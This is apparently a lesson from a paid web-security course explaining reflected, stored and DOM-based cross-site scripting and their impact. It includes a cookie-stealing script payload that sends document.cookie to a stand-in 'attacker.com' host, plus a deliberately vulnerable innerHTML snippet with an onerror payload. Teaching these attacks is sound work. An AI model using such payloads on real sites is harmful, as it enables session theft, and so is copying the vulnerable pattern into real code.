Last updated: May 1, 2026
MEDIUM
🔐 PRO
⏱ 90 min
Module 5 of 8
What you’ll learn
- How XSS actually exploits the same-origin trust model
- Reflected, stored, and DOM-based XSS — each requires different thinking
- Filter bypass techniques that work against modern defences
- CSP deep-dive — what it protects, what it misses, how to bypass
- Real-world XSS impact in 2026 — beyond
alert(1)to session theft, MFA bypass, cryptocurrency theft
Prerequisites: Modules 1–4.
XSS is the most misunderstood vulnerability class in web security. Developers think alert(1) is the exploit. It isn’t — alert(1) is the proof of concept. The exploit is what you do with JavaScript execution in the victim’s browser context. In 2026, that includes stealing session cookies, defeating MFA prompts in real time, siphoning crypto wallet keys via malicious browser extensions injected through XSS, and silently re-writing transactions before users confirm them.
Modern frameworks (React, Vue, Angular) escape HTML output by default. This prevented the trivial XSS of 2010. But developers routinely punch holes in the escaping — dangerouslySetInnerHTML, v-html, [innerHTML] bindings — and the 2026 XSS attack surface lives in those holes. This module teaches you to find them.
The three XSS types
Reflected XSS
User input in a URL parameter or form submission is reflected into the response page without proper escaping. The attack requires tricking the victim into clicking a crafted URL.
https://target.example.com/search?q=<script>document.location='https://attacker.com/?c='+document.cookie</script>If the search page reflects q into the HTML unescaped, the victim’s browser executes the script when they click the link.
Impact in 2026: usually requires social engineering (link clicks). Lower severity than stored XSS, but combined with URL shorteners and phishing, still lands payloads on real users.
Stored XSS
User input is saved to the database (comment, profile bio, product review, support ticket) and later rendered to other users without escaping. The attacker injects once; every visitor executes the payload.
Highest-impact XSS class. The canonical attack: attacker posts a malicious comment on a forum; every visitor who views the comment page has their session cookie stolen. For internal apps (ticketing systems, admin dashboards), stored XSS landing in an admin’s view = admin compromise.
DOM-based XSS
The vulnerability is entirely client-side. User-controlled input flows from a source (location.hash, document.referrer, localStorage) into a sink (innerHTML, document.write, eval) via JavaScript, without server involvement.
// Vulnerable page code:
document.getElementById('output').innerHTML = location.hash.substring(1);
// Attack URL:
https://target.example.com/page#<img src=x onerror=alert(1)>Because the server never sees the payload (hash fragments aren’t sent in HTTP requests), server-side XSS filters don’t help. Client-side frameworks and strict CSP are the main defences.
Custom team training + practitioner advisory
Beyond the free academy — we run private workshops, vCISO advisory, and red-team exercises tailored to your stack. For Indian SMBs scaling past their first hire.